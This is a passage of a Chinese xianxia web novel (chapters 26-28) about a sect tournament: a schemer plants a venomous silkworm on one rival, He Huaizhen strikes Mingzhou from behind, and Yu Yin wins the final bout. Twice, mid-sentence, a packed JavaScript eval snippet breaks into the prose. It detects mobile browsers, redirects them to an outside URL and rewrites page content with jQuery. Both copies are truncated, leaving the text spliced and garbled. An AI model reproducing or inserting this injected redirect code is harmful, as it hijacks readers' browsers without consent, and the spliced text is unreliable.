有什么办法可以再次挑拨两个人的关系,还能再伤害到闻絮呢? 闻絮随身带着寒光,自己都打不过闻絮,直接想要再伤到闻絮,估计是有点难。 她又把视线移到闻絮一旁的玉茵身上,踏破铁鞋无觅处,得来全不费工夫,合适的人选就在自己身边。 闻絮不行,她身边的人总可以,她最在意的师姐玉茵没她厉害,就选她了。 季明月主动挪了位置,调换到揽月瑶一旁的位置上。 揽月瑶对于季明月的态度现在有些复杂,她对于季明月口中的闻絮持怀疑的态度,但又觉得季明月送了自己很多法宝,又不好意思对她冷脸。 “月瑶,我那日送你的玉葫芦呢?怎么没带戴?” “我放在匣子里了,改日再戴。” 季明月保持着亲昵的态度,面色不改,“忘了告诉你了,里面有一只灵宠,你记得要带她出来透透气,不要憋坏了。” “什么?那个小葫芦里还有灵宠?我一直没打开看,不会憋死了吧?” 季明月故作惊讶,“应该不会吧,我们快回去看看吧。” 揽月瑶终究还是小姑娘,本性不坏,听了季明月的话也着急回去看灵宠。 二人急着回去,匆匆忙忙就走了。 两人一起回到揽月瑶的房间,揽月瑶从床边的红木匣子里掏出一堆法宝,翻找出了那个玉葫芦。 她拔开塞子,想要把灵宠拿出来。 但是她倒了两下,没有东西出来。 季明月躲在她身后,拿出自己早就准备好的一只灵蚕,悄悄放在脚边。 26. 点道为止,绝不多打 正在揽月瑶寻找的时候,她假装惊讶一声,“月瑶妹妹,你把灵宠甩出来了。” 揽月瑶看到地上趴着的灵蚕,急忙把它放在桌上。 “不好意思,不好意思,刚刚是我力气太大了。” 季明月看着揽月瑶像是哄小孩一样的动作,笑了笑,真是个蠢货,什么灵宠,自己拿来哄她的罢了。 “月瑶,这个灵宠比较特殊,只会听令于自己认定的主人,对于其余人有时会放出毒液,你要小心用它。” 揽月瑶摸着灵蚕的手一下松开,“它会咬我吗?” “不会,它还没认主,我来帮你缔结认主契约吧。” 季明月去了揽月瑶指尖的一滴血,放在灵蚕的嘴边,灵蚕吸食了血液,和揽月瑶缔结了契约。 “缔结了契约,你们就可以互通心声了,它会只听从你的安排了。” 揽月瑶对于这个灵蚕很是喜欢,目光没有从它的身上移开。 季明月心中更加得意,小女孩就是好骗,说什么都信。 刚刚那滴血不过是用来迷惑其他人的罢了,灵蚕是自己从小养大的,喝一滴血而已,也还是会听自己的。 玉茵还不知道自己已经被季明月选成了目标,还在和闻絮复盘刚刚的比赛。 “刚刚我那一剑怎么样?是不是比平日练功的时候威力大?” 闻絮给予玉茵十足的肯定,“师姐这一次很厉害,下一场比赛继续加油。” 玉茵还想在说些什么,想起来闻絮不能参加这次的大比,又不免沮丧,“要是你也可以参加就好了,你这么厉害,说不定可以得第一的。那日要是和揽月瑶打的是我就好了,这样你还可以继续参加宗门大比。” 闻絮哭笑不得,安慰道,“师姐,这和你有什么关系呢?这是我和她之间的事情,而且,我不在意得第一的。” “可我要是下一轮输了怎么办?” “什么输了怎么办?” 展皓端着小白大摇大摆走过来,怀里的小白被颠得直挠耳朵。 小白最近长得有些快,分量重了不少,以前展皓一只手就可以把它托起来,现在必须改成双手的姿势了。 “还有你师兄我在啊,有我在给你兜底,放心就好了。” 展皓抽出一只手拍了拍玉茵的肩膀,让她放宽心。 玉茵小声反驳道,“我放心什么?师兄你能打得过明舟吗?” 玉茵是今日比试的最后一组,在她前面,展皓,嘉文,嘉武,明舟,月灵宗一名魂修,还有无极宗两名阵修都已获得胜利。 展皓思考了一下,自己没和明舟交过手,但是凭他这两日看明舟的比赛,明舟的实力还是很强悍的。 展皓对着闻絮挑了挑眉,“师妹,明舟不是喜欢你吗?要不你告诉他让让我?” 展皓的语气吊儿郎当,开着闻絮的玩笑。 玉茵抬手要打,被展皓塞了一只小肥猫到手里。 “哎,闻絮,你真的得少喂小白点吃的了,它怎么已经这么重了。” 小白在玉茵怀里耸了耸屁股,表示对他们议论自己体重的抗议。 玉茵被小白的动作弄得痒痒的,急忙求饶,“好了,好了小白,我不说了。” 闻絮看着两人嬉闹着,想起明舟。 那日两人互通了心意之后,明舟在人前和闻絮的互动收敛了一些。 今天的比试结束,两人遥遥相望对视一眼,互相点了点头,没有语言交流。 那天在明舟房间里,她靠在明舟胸前,明舟一只胳膊虚虚放在她的发丝上,两人在一起靠了很久。 两人都比较害羞,尤其是明舟,看到闻絮的脸就不由自主地笑。 闻絮也有点不好意思,那个拥抱之后两人胡乱地聊了几句就离开了。 闻絮嘱咐明舟,接下来的比试不要分心,自己会等比试结束之后再来找他。 明舟也很听话,闻絮没来找他的日子都在刻苦练剑。 玄天看到明舟刻苦的样子也很是欣慰,孩子长大了,练功更刻苦了,这次的宗门大比的第一名不出意料,应该是明舟了。 上午的比试顺利结束,几位掌门一起商议,决定将第五日的比试调到今天下午。 这次依然是随机抽签,景原的两位弟子,嘉文对上嘉武,两人听到结果,对视而笑。 玉茵抽到月灵宗的弟子,明舟和展皓各自对阵无极宗的一名弟子。 率先上场的是嘉文和嘉武,二人实力相当,对各自的招数都很熟悉,又师承一脉,一直打得很焦灼。 玉茵在台下准备着,原地活动着自己的身体。 能进到前八名的弟子实力都不会很弱,自己要小心应对。 今天下午的观众席上,季明月缺席了,玉清山的弟子已经全部出局,她借口自己头痛,要回房休息,没有出来。 但她和灵蚕共感,揽月瑶贴身带着玉葫芦,她通过灵蚕在隔空感知着现场的情景。 玉茵热身完又回到自己的位置,比试台上两人依旧打得难舍难分。 闻絮看玉茵的情绪有些急躁,替她剥了个橘子,让她吃点东西缓解心情。 这一幕又被揽月瑶看在怀里,心情有些郁闷,她看向玉茵的眼神算不上友善。 灵蚕吸食了揽月瑶的血液,对于揽月瑶的细微变化也能及时捕捉。 季明月抓住时机,让灵蚕在玉葫芦里躁动起来。 揽月瑶听到里面的动静,拔开塞子想要看看灵蚕的情况。 灵蚕却是发疯一样,不受控制,冲着玉茵的手背扑了过去。 玉茵冷不丁被扑过来的灵蚕咬了一口,灵蚕在她的伤口处吐出几滴毒液。 玉茵急忙甩开,灵蚕被甩在地上,还在不停吐着毒液。 揽月瑶也被灵蚕吓了一跳,她不由陷入了自我怀疑,难道是刚刚自己对于玉茵不满,灵蚕感知了自己的情绪,才去咬玉茵吗? 玉茵身上有着闻絮布下的掌金咒,毒液对于她的身体没有效果。 只是被灵蚕咬了一口,手背不免有些疼痛。 所有人被这突如其来的变故吓了一跳,玄天派弟子一把捉住了灵蚕。 月灵宗和天照宗再次对峙起来,玄天这次气势逼人,“揽情曼,你纵容你女儿一再伤我门下弟子,到底想干什么?” 景原更是忍不住了,自己两个最小的弟子接连受到欺负,自己这个当师父的实在不能装聋作哑了。 “揽情曼,你看看你养的好女儿,自己伤人不够,还要派自己的灵宠出来,你要是对我不服气,就和我打一场,别冲我的弟子来。” 揽情曼有些难为情地看着揽月瑶,上次的事情还能说是无人见证,这次揽月瑶的灵宠当着所有人的面咬伤了玉茵。 她还想着扭转局面,“瑶儿,这灵蚕是你的吗?” 如果灵蚕不是揽月瑶的,她还能再争一争。 但揽月瑶立马就点头承认了,“是我的。” 她还在内心自责中,自己只是比较喜欢闻絮,不想让玉茵离闻絮这么近,没想到灵蚕忽然就失控了。 但是这个理由她没法说出口。 她看向玉茵,闻絮站在玉茵的身边,盯着自己的眼神冰冷。 捉到灵蚕的弟子在灵蚕嘴边和地上都提取到了毒液,这次的伤人事件就更加恶劣。 月灵宗无从抵赖,由揽情曼为首,带着揽月瑶给天照宗赔礼道歉,并带着所有弟子退出宗门大比。 另外,还赔偿了几箱子灵丹妙药和一些珍贵的法器,才平息了景原的怒火。 月灵宗弟子退出,玉茵的对手退出,玉茵自动晋级。 刚刚的比试中,嘉文走神看了众人一眼,失误一脚踩出了界外。 到下午,玉茵,嘉文,明舟和无极宗的弟子鹤怀真全部晋级。 展皓有些灰心,这次小看了无极宗的弟子,自己这次居然没打过他。 景原对于展皓没有责怪,只是嘱咐他让他记得来看明日的比试。 虽然这次输了,但是不能不放在心上,要从失败的对战中吸取教训。 玉茵是第一次进入宗门大比的前四,虽然有了白日的波折,但索性没有受伤,她的心情也没有怎么受影响。 晚饭时间,她拉着闻絮在房间猜测自己明日的对手,“闻絮啊,你说明日我要是对上明舟,会输得很惨吗?” 闻絮摇了摇头,“不会,而且你不一定会输。” 玉茵笑了笑,闻絮又在安慰她了,她自己的实力自己清楚,怎么可能打得过明舟。 “你这么肯定,你帮我和明舟打过招呼了吗?” 闻絮这次没有瞒着玉茵,点头,“师姐,我也没说什么,而且明舟的品行你也知道,比试只是比试,分出输赢就好了。” 闻絮从自己的床上拿出那日选的白色丝绫,递给玉茵。 “师姐,这是我那日选的法宝,这次比试我用不上了,明日你就带着去吧。” 玉茵摸着手里滑滑的质感,“可是这个要怎么用呢?” “师姐,这个是破风绫,你把她系在你的发带上,明天若是对上无极宗的弟子,用来防身。我那日观察过,鹤怀真的阵法可以吞噬周围的灵力,这个关键时刻应该可以起作用。” 闻絮讲了破风绫的用法,又絮絮叨叨讲了很多对阵的注意事项。 玉茵在一旁听得有些昏昏欲睡,闻絮还在自顾自说着。 “好闻絮,我好困啊,我们睡觉好不好?” 闻絮看着玉茵困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416416|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得两只眼睛都睁不开了,不再说话,扶着玉茵睡在自己的床上。 闻絮拿起传讯玉牌,向明舟也传讯,让他明日注意安全。 很快就收到明舟的回复。 劳累了一天,闻絮简单洗漱过后就和玉茵一起休息了。 两人躺在一起,听着耳边玉茵均匀的呼吸声,闻絮也很快闭上了眼睛。 天气越来越冷,屋外寒风呼呼咆哮着,漫天的雪花不停地落下。 天照宗的冬天来得比较早,以往这个时候都不会下雪。 不少弟子都在外衣上又加了一层披风,玉茵早上一起床就拉着闻絮加衣。 玉茵今日穿得暖呼呼的,白色的翻毛领加上大红色的披风,像一个小福娃。 闻絮也加了一件披风,她不常穿色彩鲜艳的衣服,一件淡雅的浅绿色披风就是她的选择。 寒风中她身子直直挺着,雪花落在她的发丝之上,为她平添了几分温婉的气息。 这次的比试非常有看头,三个天照宗的弟子,外加上一个无极宗的弟子,天照宗又成了夺魁的热门人选。 不少弟子背着师父和戒律阁的弟子在偷偷赌钱,压到底谁会是最终的赢家。 不止是天照宗的弟子,其他宗门的弟子也一起加入了进来。 写着玉茵,嘉文,明舟,鹤怀真四个人名字的竹筐就放在桌子上。 每人一张纸,在纸上写自己的名字和自己压的钱数,选好了就放进对应的竹筐里。 闻絮看到过几次,都没有参与。 青竹峰的弟子也不敢参与,要是被景原发现了,少不了一顿臭骂。 在比试开始之前,众人就已经挤上去急着放自己的纸条。 一个穿着天蓝色衣服的少年从远处走来,拨开层层阻挡的人群,走到写着鹤怀真名字的竹筐前,拿了一张纸。 旁边围观的人看到他的脸,认出了他,“鹤怀真?” 所有人的目光全都集中在鹤怀真的脸上,他面不改色地接着写着纸条。 两个手指轻轻一甩,扔进了写着自己名字的竹筐里。 “你怎么也来赌这个?” 鹤怀真微笑,“怎么,难道还规定了参加比试的人不能赌输赢吗?” 摊主无言,自己好像还真没有规定。 抽签的时候玉茵比较紧张,自己第一个上去,不管抽到哪个,自己这一场比试都不会很轻松。 玉茵打开纸团一看,是嘉文的名字。 自然,剩下的明舟和鹤怀真归为了一组。 玉茵抽到嘉文其实还比较放心,嘉文自然也比较开心,他过去拍了拍玉茵的肩膀,“玉茵师妹,承让了。” 玉茵心上的石头落下,和嘉文对视笑了一下,“师兄你要是手下不留情,我以后就再也不让你吃我做的饭了!” 嘉文举手,表示投降,“点到为止,绝不多打。” 闻絮看得很认真,玉茵一开场还比较下风,但打到后面反而越来越放得开。 嘉文一开始心态比较放松,但看到玉茵的攻势发猛,自己也认真起来。 玉茵的招式变换得不多,但胜在步伐轻盈,对于嘉文的攻击一一躲过。 再加上心态放得比较好,还能趁机反攻一把。 最后,玉茵的剑更快一招,她的剑锋抵在了嘉文的脖子上。 这次,是玉茵胜了。 听到敲锣的弟子宣布了结果,玉茵才不可置信地收起剑。 她气喘吁吁地跑下去,一把扑在闻絮怀里,“啊!闻絮,你看到了吗?我居然赢了嘉文师兄。” 闻絮被玉茵抱得很紧,但还是抽出呼吸回应玉茵的话,“师姐,我看到了,这次是你赢了。” 嘉文也没气恼,帮玉茵捡起她的剑走了过来,佯装哭泣道,“师妹,师兄输了好伤心,你可以为了安慰我而做烤羊肉吗?” 玉茵从闻絮的怀抱里出来,因为出汗而红扑扑的小脸上笑容挂起,她的头抬得高高的,“包在我身上,师兄,你想吃什么我就给你做什么。” 景原这边一片其乐融融的氛围,玄天那边稍显严肃。 他叮嘱着明舟,胜利虽然要紧,但是要注意自己的安全。 明舟应是,向闻絮的方向看了一眼,走上了比试台。 鹤怀真躺在自己的座位上,悠闲地看着闻絮这边的动静。 闻絮这样的女人美则美矣,但是话太少,略显无趣。 倒是她旁边那个刚刚比试完的女子不错,挺鲜活的,他忍不住在玉茵的脸上多停留了几秒。 他拿起一旁记录的名册看了一眼,玉茵,不错,是个好名字。 这次如果他赢了明舟,明日就是二人对上了,他忽然还有些期待,明日的比试了。 27. 寒光再次救下明舟 无极宗的掌门推了推还在走神的鹤怀真,“想什么呢,叫你名字了,别躺着了。” 鹤怀真脱下身上的大衣,向无极宗掌门微微颔首行了个礼,“知道了师叔,等我赢比赛回来。今晚我也想吃烤羊肉。” “等你赢了再说。” “我不会输的。” “记得我教你的。” 景原听到鹤怀真的话,也不由得抬了抬眼皮,“小小年纪,倒是挺狂,怎么样,你对明舟有信心吗?” “我的弟子,自然厉害。” 景原哼一声,得,又是一个狂的。 鹤怀真只带了一柄扇子就上去了,明舟带着自己的剑。 鹤怀真站在比试台最边缘,敲锣声刚刚响起,他就一把打开了扇子。 扇面打开,是一幅千里江山图,随后围着这个比试台升起了一圈圆形的黄色光芒。 他居然在一瞬间就布好了阵法,外界的视线一下就被遮挡住。 玄天一下站起,这是什么阵法?居然能将里面的情景遮挡得如此严实。 之前的比试中,鹤怀真从来没有使出来过。 他看向无极宗的掌门樟离,“虽说宗门大比不限制各位弟子,但这阵法遮挡众人的视线,是不是不太好?万一其中出了什么差错,我们也无从知晓。” 樟离很是淡定,“玄天掌门何必忧心,我也不是第一次带弟子参加宗门大比了,这规矩我是知道的,我的弟子也都清楚,不会有事的。” 玄天暂时先坐下,明舟的实力不弱,应当不会有什么危险。 明舟看着鹤怀真站在原地不动,有光圈将二人分隔开来。 明舟提剑劈开一道光圈,鹤怀真的身影逐渐在眼前清晰。 明舟又陆续劈开外层的光圈,玄天从破损的阵中依稀看到了明舟的身影。 直到明舟击溃了所有的光圈,比试台上的光景才让众人一览无余。 但明舟才刚刚接近鹤怀真,他手中扇面的内容却再次变换了,另一重阵法再次启动。 这次是蓝色的光环,再次遮盖了众人的视线。 明舟在台上,仿佛置身在雾里,周围刺目的光芒让他无法分辨方向,也看不清鹤怀真在哪里。 经过前面几次的试探,他发现鹤怀真在消耗自己的体力。 于是他闭上眼睛,不再用眼睛去视物。 一直靠蛮力劈开阵法是不长久的,一个接一个的阵法会一直出现,必须找到破阵的法门。 他用自己的身体感受阵中的能量变化,阵中的能量不会是一成不变的,总有力量稀薄的地方。 明舟眼睛闭上,黑暗中在他的正后方,他感受到灵力最为稀薄。 他一剑刺下去,周围的蓝光像烟花一样爆炸开,台子上涌起了无数的烟雾。 明舟找到了鹤怀真的位置,割断了他一缕发丝,剑锋也正好停在他心口的位置。 胜负已经分晓,是明舟赢了。 台上烟气弥漫,敲锣的弟子一时看不清是谁赢了。 明舟向鹤怀真作揖,表示对对手的尊重。 他转身要走的时候,鹤怀真忽然抬手,他的扇骨犹如利箭刺出,向着明舟的背影而去。 扇骨速度很快,穿破空气就冲着明舟心口而去。 台下的玄天大惊失色,施法想要阻止那扇骨。 但比玄天更快的,是闻絮的寒光剑。 寒光剑从闻絮手中飞出,以闪电般的速度飞上曜日峰,它的剑身挡在明舟身前,扇骨在撞击的一瞬间碎成了几段。 明舟被寒光护住,但因为脚在比试台范围边界,寒光剑气一震,他的一只脚出界。 樟离敏锐地看到这一点,拿起一旁装着瓜果的盘子,扔上去敲响了锣声。 盘子四分五裂碎裂,落在地上,宣布比赛结束。 玄天大怒,“樟离,你太过分了!” 玉茵在闻絮的身边,都没看清寒光是怎么飞出去的。 “闻絮,你反应好快啊。” 闻絮愣在原地没反应,因为寒光不是自己扔出去的。 她看到扇骨出去的时候,也想出手拦截。 但是不等自己动作,寒光就从她的身边飞了出去。 寒光,是自己察觉到了明舟的危险,去保护明舟的。 玄天和樟离两个人怒目而视,“刚刚明舟已经赢了,你的弟子为何再出暗箭?” 樟离表情自然,“我怎么记得宗门大比的规矩,锣响之后才定输赢,掌门这位弟子是不是太高傲了些,连规矩都不放在眼里?” 樟离早些年一直带弟子来参加宗门大比,一直循规蹈矩,没有差错。 樟离也不想这样,曾经他的弟子没有一个可以夺得魁首,但如今不同,上一轮是玉茵赢了。 这次如果胜了明舟,鹤怀真打一个女子,胜算还是比较大的。 这次他要替无极宗争一争。 所以他在上场前教了鹤怀真战术,不要正面硬拼,先消耗明舟的体力。 如果明舟真能破阵,那扇骨和烟雾就是他们最后的底牌。 玄天指着台上仍未散去的烟气,“这不是你搞出来的花样吗?干扰我们的视线,故意拖到你的弟子出黑手!” 樟离摆摆手,表示无辜,“这可不关我的事,我这弟子绝学独特,阵法超群,有点效果也正常。掌门不如让自己负责敲锣的弟子多保养眼睛,自己看不清楚怪谁呢?” 樟离的语气太过于挑衅,景原站起来继续接话,“那你说,宗门大比的规矩不能坏,规矩里是不是有一条说了,点到为止,不能伤人性命,鹤怀真刚刚做的,不也是破坏规矩了吗?” 明舟和鹤怀真已经下来了,鹤怀真听到景原的问话,继续回答,“三掌门这话不对,你看到我伤人性命了吗?明舟不是好好地站在这里吗?” “你的扇骨分明是冲着明舟胸口而去,没有收回的迹象,这不是伤人性命是什么?” 鹤怀真摇了摇手指,“这就更不对了,我是打算要收回的,结果这位道友的剑上来了,我才没收的。” 鹤怀真话头直指闻絮,“对了,三掌门,这位道友还是你的弟子吧,我得叫师妹了吧,这位师妹以后切勿这么莽撞了。” 景原能言善辩的一个人,此时也无言以对。 明舟今天确实没有受伤,而且也是天照宗的弟子失误,没有及时敲锣,才造成现在的局面。 各大宗门的掌门都还在,季明月本来还在因为灵蚕没伤到玉茵而懊恼,今天就乐呵呵地在看好戏了。 她语气不慌不忙,“对啊,掌门怕不是偏袒自己的弟子吗?难不成要第一第二名都是天照宗的才行吗?我们其他宗门的是不是以后都不用来了?” 天照宗这次有苦说不出,只能吃了这个哑巴亏。 明舟刚刚出界,这次是鹤怀真赢了。 闻絮一直没有说话,剧情真的不一样了,明舟这次出局,不再是宗门大比的第一了。 但寒光又是怎么回事? 顾不上想这些,宣布完结果,鹤怀真走到玉茵面前,伸出骨节分明的手,“玉茵,你好,期待明日和你的比试。” 玉茵别过脸,觉得鹤怀真手段卑劣,如今还过来挑衅,不想和他说一句话。 鹤怀真收回了在空中的手,他真不是挑衅,单纯觉得玉茵可爱而已。 他拍了拍手,“不握也罢,明日上场还有握的时候。” 玉茵的压力一下子大起来,她比试之前以为嘉文和明舟可以赢,自己来走个形式就好了。 没想到自己赢了嘉文,明舟也因为意外出局了,自己反而成了决定胜局的人了。 魁首的比试在明日,景原和玄天紧急带着玉茵去加练。 闻絮对于今天的事情还有些恍惚,她独自一人去了青竹峰的竹林,一个人默默坐了一个下午。 她再次召唤出了寒光剑的剑灵,“你能不能告诉我,这次是为什么?” 寒光如实回答,“我感觉到对你不好的情形,你的命有危险,所以我自己出去了。” 闻絮再次思考寒光的话。 几个月前,在她想杀明舟的时候,寒光阻拦了她,这次,寒光又为明舟挡下了致命一击。 之前她有些生气,没有把寒光的话当做一回事,现在想来,寒光说两次都是为了保护她。 保护明舟就等于保护她。 意思是明舟一死,自己也活不了。 闻絮想通其中的道理,起身回了自己的屋子。 宗门大比还在继续,自己现在去找襄兰,势必又会惊动玄天和景原,玉茵也难免会为了自己担心。 明日是玉茵比试的重要日子,还是等宗门大比结束之后再说吧。 闻絮回到自己的房间,鞋子都没有脱,径直躺在床上。 她不明白是什么地方有问题,自己和明舟为什么成了同生共死的命理。 想不明白,闻絮选择闭上眼睛,人只要活着就会面临无数的问题,不断地披荆斩棘,解决各种问题,然后迎接死亡。 活着还真是麻烦。 她想,既然自己已经选择了一次死,那这一次选择好好活吧。 不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416417|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结局是怎么样,她希望遵从自己的心,不要后悔。 到了傍晚的时候,明舟来了青竹峰。 今日明舟被玄天叫走,全身检查了一遍,确保没有什么受伤的地方。 做完一套检查,又被景原叫走,让他给玉茵讲一讲今天是如何破解鹤怀真的阵法的,明日好应对一些。 这一趟功夫下来,天色已经黑了。 明舟踏着雪和月色到了闻絮门前,闻絮的屋子里一片漆黑,没有点灯。 明舟以为闻絮已经睡下了,不想再打扰她,又放轻了步子,转身要离开。 闻絮一直没有睡着,对于屋外的动静听得很清楚。 这么小心翼翼的在自己屋外的,不是小偷,就是明舟了。 闻絮依旧没有开灯,径直打开了门,黑暗中月光照在雪地上,反而衬得屋内亮堂堂的。 “怎么来了也不说话?” 明舟听到身后开门的声音,“你没有睡啊,我还以为你刚刚睡了,不想打扰你。” 闻絮走到明舟身旁,拉住他的手,抬头看向飘落的雪花。 她伸出手想要接住一朵,但漫天的鹅毛大雪纷纷落下,却都从她的指间飘落。 闻絮笑了笑,放下手掌,明舟的手却此时搭了上来,围在闻絮手掌的另一边,一片六角形的冰晶就慢慢落进了闻絮掌心。 闻絮低头,看着它慢慢消融在掌心。 她踮起脚尖,拍走了明舟肩头的雪花,“进屋吧,外边冷。” 明舟察觉到闻絮有心事,由闻絮拉着自己的手进屋。 “明舟,我有事情想和你说。” 明舟盯着闻絮的眼睛,“你说,我听着。” “我知道接下来的话可能有些荒谬,但确实是真的。” “嗯,你说的我都信。” “今天上午比试的时候,寒光飞出去替你挡下了扇骨,不是我的意思,是它为了保护我自己做的。” “我和你,因为某些不知名的缘由,命理相连了。” “命理相连?”明舟对于这样的说法还是有些吃惊。 “这是我的猜测,我想等宗门大比之后,让师父看一看,她精通命理,应该会更懂一些。你怎么看?” “到时候我和你一起去拜见襄兰长老。” 明舟感觉闻絮还有别的心事,转过她的肩膀,让闻絮正对着自己。 “怎么老皱着眉头,都不漂亮了。” 他抚平闻絮眉间的纹路,提了提闻絮的嘴角,“玉茵师姐今天很厉害,为了她也要笑了笑,好吗?” 闻絮也抬手把明舟的嘴角向上抬了抬,“你也是,多笑一笑,你今天也很厉害。” 明舟嘴角的弧度继续变大,“那我是不是应该放声大笑,因为我喜欢的人更厉害,今天还救了我呢。” 闻絮原本有些低落的心情因为明舟有些回升,“是啊,我更厉害。” 明舟把闻絮的手指放在自己手里把玩着,不舍得离开。 “时间不早了,我要回去了,你今晚早点休息。” 明舟踏着月色离去,高大的身影消失在夜色中。 …… 玉茵一个晚上睡得不安稳,对于和鹤怀真的比试有些担心。 她一边担心自己赢不了明日的比试,会给天照宗丢人。 又有点小期待,要是自己赢了,宗门大比的第一就是自己了。 她带着这样复杂的心情,混沌地睡到了早上。 昨晚回来得太迟,没见到闻絮。 早上一起来,玉茵就要去闻絮的房间。 闻絮也早早就起来了,她今天饶有兴致地堆起了雪人。 玉茵一出门就看到闻絮了,还是昨日的一身衣服,她蹲在地上堆着雪人的脑袋。 闻絮的手一直泡在雪水里,手指被冻得通红。 “闻絮,大早上就玩雪,还没吃早饭呢,对身体不好,一会儿吃了饭再来玩。” 玉茵眼里,闻絮就是一个需要照顾的小妹妹,在生活上对于闻絮总是无微不至。 她很自然地扮演着姐姐的角色。 闻絮立马起身,拍干净手上的雪,“不玩了,师姐,我就是有点无聊,随便玩玩。我陪你去吃饭吧。” 玉茵今日还有比试,闻絮把自己的那一份饭菜拨了大半份给她。 玉茵也欣然接受了,饭堂的饭有些难吃,闻絮就少吃点吧。 等她空闲了一定要自己做,把闻絮养得白胖白胖的。 两人的饭桌前突然多了一道阴影,另一个打了饭的人坐在了玉茵正对面。 28. 结束了,是我赢了 鹤怀真慢条斯理地挑着饭里的葱花,挑完又慢慢送了一筷子的饭放进嘴里。 “玉茵,又见面了。” 玉茵看着眼前的鹤怀真,没好气地翻了个白眼。 “你来干什么?” 鹤怀真认真地指了指手里的碗,“吃饭啊,不明显吗?” 玉茵挪开自己的盘子,带着闻絮去另一个桌子,“我们走,别和这种人一起吃饭。” 鹤怀真也不恼,继续在原来的位置上吃饭,随意地在饭里扒拉了几口。 “这么不想和我一桌吃饭吗?那一会儿我们还得在一个台子比试呢,你难道要弃权吗?” 玉茵对于鹤怀真的话充耳不闻,只把他当成空气。 鹤怀真见玉茵不理她,随意吃了几口,放下盘子出去了,“玉茵,抓紧时间吃哦,一会儿见。” 玉茵看着鹤怀真的背影,默默念了几句脏话,诅咒他一会儿出去被鸟拉一身屎。 玉茵原本平复的心情被鹤怀真搅乱了,闻絮默默陪在玉茵身旁,“师姐,没事的,尽力就好。” 玉茵深吸了几口气,放下手中的筷子,“我吃好了,我们走吧。” 两人一起到达比试场,鹤怀真还是一副吊儿郎当的样子。 双脚搭在椅子背上,不正经地坐着。 要不是一张脸还算清秀帅气,不然就是一副妥妥的流氓相。 玉茵一进来,他就眼睛都不眨地盯着玉茵看,视线粘在了玉茵身上。 玉茵察觉到他的视线,回赠了一个白眼。 但这在鹤怀真眼里又是一种别样的可爱,“挺有个性啊,我喜欢。” 樟离顺着鹤怀真的视线看过去,低声警告道:“今天的比试不许乱来,好好比,知道了吗?” 闻絮这边在帮住玉茵放松,她的肩膀因为紧张有些僵硬,闻絮帮她放松着肌肉。 最后一日的比试更加壮观,平日里一些不爱热闹的弟子全都来了。 对于二人的赌局也进行地如火如荼,众人七嘴八舌地讨论,“你猜猜今天谁会是赢家?” “我赌是无极宗的鹤怀真,你没看到他昨日连掌门的徒弟明舟都赢了吗?” 说着这人写好自己的名字放进了写着鹤怀真名字的竹筐里。 另一边,还有一波人将纸条放进了写着玉茵名字的竹筐里,“往年的内门弟子比试,第一总是三掌门的弟子,玉茵可是三掌门的弟子,我投她!” 一片叽叽喳喳声中,比试开始的锣声被敲响了。 “请两位比试者走上比试台,比试正式开始。” 鹤怀真和玉茵分别从台子的两端走上去,两人先互相鞠躬行礼。 随即玉茵就摆出防御的姿势,没有选择贸然进攻。 鹤怀真一改昨日的作风,没有选择一上来就布阵。 二人就这样僵持着站着,台下的众人也一脸懵,他们在等什么。 “喂,你怎么不布阵了?” “我在看你啊,你今天比昨天更可爱了。” 轻佻的语言配上鹤怀真多情的眼神,仿佛有一种他在说情话的感觉。 玉茵不想听他废话了,既然他不布阵,那自己就先进攻。 玉茵脚下步伐快速移动着,剑招冲着鹤怀真的腿刺过去。 鹤怀真盯着玉茵的动作,等着二人的距离变得极近的时候,一脚踩到玉茵的剑上,腾空飞起。 还是昨日那把折扇,扇面再次打开,从玉茵的头顶布下一个小小的阵,阵的外圈紧紧绕着玉茵的身体,仿佛为玉茵披上了一件金色的大氅。 这个阵没什么厉害的,力量也比较薄弱,玉茵双脚蹬地,身体升空,在他刚刚飞起的位置捅了一剑,这阵就自然失效了。 “玉茵,看这边。” 台上金色光芒再次启动,鹤怀真的声音从自己的背后传来,但四面像反光镜一样,到处是鹤怀真的身影。 “玉茵,看,我在这里。” 镜像里的所有人都同时开口,声音也像立体环绕一样。 玉茵绕了一圈,试图分辨哪个才是真正的鹤怀真。 她闭上眼睛,听着四面八方声音的来源。 镜子里的鹤怀真在一直说着话,玉茵发现自己左后方的声音总是要比其他方向的声音来得快一些,就是这里。 但这是鹤怀真布的阵,自己贸然用剑一定会被他察觉意图。 所以,玉茵睁开眼的一瞬间,抬剑向正前方刺去,左手摸上发髻,散落下来破风绫。 玉茵指尖用力,破风绫对着鹤怀真所在的位置扑过去。 镜面破碎,镜子后面的鹤怀真被破风绫击中,然后玉茵周围所有的镜子都碎掉了。 玉茵不想给鹤怀真缓冲的机会,脚勾回刚刚刺出去的剑,架在鹤怀真脖子上。 “这次,你别想抵赖了。” 鹤怀真笑了笑,随后语出惊人,“玉茵,我喜欢你。” 他看玉茵的表情有一些松动,背在身后的手又有一丝不轨的踪迹。 闻絮也学着昨日樟离的姿势,飞过去一颗石子,击中锣声。 “结束了,是我师姐赢了!” 宗门大比规定,判定输的一方在五秒内无反抗即为失败。 鹤怀真就是想利用刚刚的时间,分散玉茵的注意力,再次反击。 闻絮数着时间,卡点击响了锣声。 台下的欢呼声不绝于耳,天照宗的弟子大声喊着玉茵的名字。 玉茵收起自己的剑,规规矩矩向鹤怀真抱拳,“承让了。” 